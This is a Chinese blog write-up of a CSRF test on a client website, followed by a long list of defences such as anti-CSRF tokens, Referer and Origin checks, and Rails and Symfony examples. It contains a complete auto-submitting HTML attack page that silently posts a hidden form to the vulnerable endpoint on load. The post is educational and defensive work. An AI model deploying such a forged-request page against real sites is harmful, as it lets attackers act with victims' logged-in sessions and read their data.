
跨站点请求伪造(CSRF)测试记录及防御
时间:2016-08-07 作者:zhankehua 评论:0 点击:3929 次
在给客户做安全检测时,发现网站存在多处CSRF漏洞。为了积累知道,提高能力,现对其中一处的CSRF漏洞进行演示,深入了解其中的原理。为制定防御措施做准备。
检测某客户网站,发现如下漏洞:
这里,我们就使用userManager/list.sys连接存在的CSRF漏洞进行测试。
首先使用OWAP CSRFTester工具,定制一个攻击页面。工具的使用,在这里不再说明。
页面内容如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "231" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://CSRF漏洞站点的网址或IP地址:80/DBSQTEST/system/user/userManage/list.sys">
<input type="hidden" name="page" value="1"/>
<input type="hidden" name="rows" value="10"/>
<input type="hidden" name="pageNumber" value="1"/>
<input type="hidden" name="pageSize" value="10"/>
<input type="hidden" name="pageIndex" value="0"/>
<input type="hidden" name="orderby" value="asc"/>
</form>
</body>
</html>
此文件我命名为csrftest.html,将此文件放在攻击者的站点下。我的测试站点是:www.youlangsec.com
接下来,先登录存在CSRF漏洞的网站。
接下来,在未登出此站点的情况下,访问攻击网页,也就是http://www.goodjar.com/csrf/csrftest.html
看看结果是什么样的?
可以看出,已获取受害者站点的数据。说明攻击成功。如果我退出网站,看看是什么效果呢?
退出登录站点后,再访问攻击网页,已不可获取数据。
即然知道了此类漏洞的原理,那怎么防御呢?在这里,我就直接摘抄网上的建议吧。不再自己写了。
一、 对可能成为恶意代码寄存元素的检查
比如,尽量不让用户能自由定制带有javascript和iframe的内容;
对于用户可以上传图片,内容编辑的功能,对需要显示图片的img元素,确保对src属性进行验证。
二、 使用Cookie的HttpOnly属性
通过使用这个属性,禁止客户端脚本来访问Cookie,从而保证数据的安全。
三、 检查Referer
通过检查http header里的Referer来确认请求是否合法。
不过这个方法可能会导致编码变得复杂,因为我们必须对整个系统的所有请求链进行程序化。最严重的问题是,存在有可能会取不到Referer的情况。
四、 anti CSRF token
这个方法一般被认为是最实用,且也是应用最广泛的一种方法。
简单来说,一般是在session里保存一个随机的不能被猜测到的token,同时,在客户端的form里 ,通过hidden元素,写到客户端页面。当客户端提交的时候,服务器端可以通过此提交的token来和session里存放的token来对比,通过其对比结果来判断客户端的访问是否合法。 需要注意的是,一般的语言或者framework一般只支持html的token,如果用flash等技术,需要把这些信息也要传递给flash等,使得flash也能将这些数据,包括token通过POST提交到服务器。
需要注意的是,这个token不能(通过cookie等方式)存放在客户端。
五、 尽量使用POST,放弃GET
CSRF攻击多数攻击代码都被隐藏在iframe,img等元素的src属性里,这样浏览器进行加载的时候,只会发起get操作,所以,如果我们的服务器端都改为POST的话,至少会降低被攻击的概率。
比如,在页面上,比如删除等链接,不能直接使用类似*.php?action=delete&id=534等这样的方法,而应该改为Form来提交。
而且,这样对后端代码书写也有要求,也存在一些陷阱。比如在PHP里,针对POST的提交,需要只从$_POST取数据,如果从$_REQUEST里面取数据的话,是不能区分用户是通过GET还是POST来提交的,需要先判断客户提交方法。
如果使用一些framework的话,可能通过routing机制已经对GET/POST和处理方法做了一一对应。
具体的使用例子请参考3.2. 和 3.3. 章内容。
六、 增加确认页面
在进行删除,更新处理的时候,我们不是直接进行数据操作,而是插入一些确认画面、对话框之类的页面,然后再确认的时候进行token之类的设置,最后再提交给服务器。
从本质上将,本条应该还是属于anti CSRF token的对策范围。
七、 密码确认
对于任何会修改数据的操作都做再输入密码确认确实是对用户来说比较麻烦,但对于关键的信息,比如email,密码等内容的修改,则可以考虑假如密码确认步骤。
八、 验证码(CAPTCHA)
验证码,这个不光能防止CSRF,还能防止SPAM。
九、 通过Ajax预防CSRF
除了上述方法,还可以通过Ajax来和服务器通信来减少CSRF的风险。这时候可以考虑在请求的header里加入页面信息来做合法性验证。比如参考如下代码:
functionpost(){
varxhr =newXMLHttpRequest();
xhr.open("POST","/create",true);
…….
// 在xhr.open方法后,进行header设置。
xhr.setRequestHeader("X-From", location.href );
……
xhr.send( s );
returnfalse;
}
服务器端在接收到客户端的请求后,会进行如下处理:
检查header里的Host是否正确。
检查是否设置了“X-From”属性,是否是正确的page url的值。
检查Origin header属性,这个值可以是:
没有设置;
或者:如果设置了,则应该和X-From一样。
如果请求满足了所有这些条件,都可以认为是正常的访问。
如果攻击者如果直接通过假页面提交Form,则不能在header里设置X-From属性;而如果攻击者也用Ajax提交,则header里的Origin因为不能伪造,也不能达到攻击的目的。从而达到了预防CSRF的目的。
十、 预防XSS漏洞
基本上,如果系统出现了XSS漏洞的话,基本CSRF攻击就很容易被植入了。
十一、 rails下的防范措施
rails下可以在Controller里面调用protect_from_forgery:
classApplicationController < ActionController::Base
protect_from_forgery
# or use except or only
protect_from_forgery:except=> ["create"]
end
token验证失败的时候,会执行reset_session操作。
十二、 php下的防范措施
貌似PHP官方版本还没有直接对此提供支持,可以自己实现。
如果用Symfony2的话,可以使用CsrfProviderInterface,这个类提供了两个方法,generateCsrfToken用来生产token,** isCsrfTokenValid**用来验证请求中附带的token是否合法:
//Symfony\Component\Form\Extension\Csrf\CsrfProvider\SessionCsrfProvider by default
$csrf=$this->get('form.csrf_provider');
//Intention should be empty string, if you did not define it in parameters
$token=$csrf->generateCsrfToken($intention);
returnnewResponse($token);
具体使用说明参考这里。
总结
总之,安全问题在平时可能不会太引人注意,但是一旦出现问题,损失的就不光是当前的金钱利益了,对于企业形象,将来发展,都有具体的影响。
对于我们程序员来说,也要对自己的代码安全负责。
这里推荐一本 《白帽子讲Web安全》,内容非常丰富,也很容易理解。建议所有做web的同学都读一下。
转载请注明出处: http://www.itsec365.cn/?id=4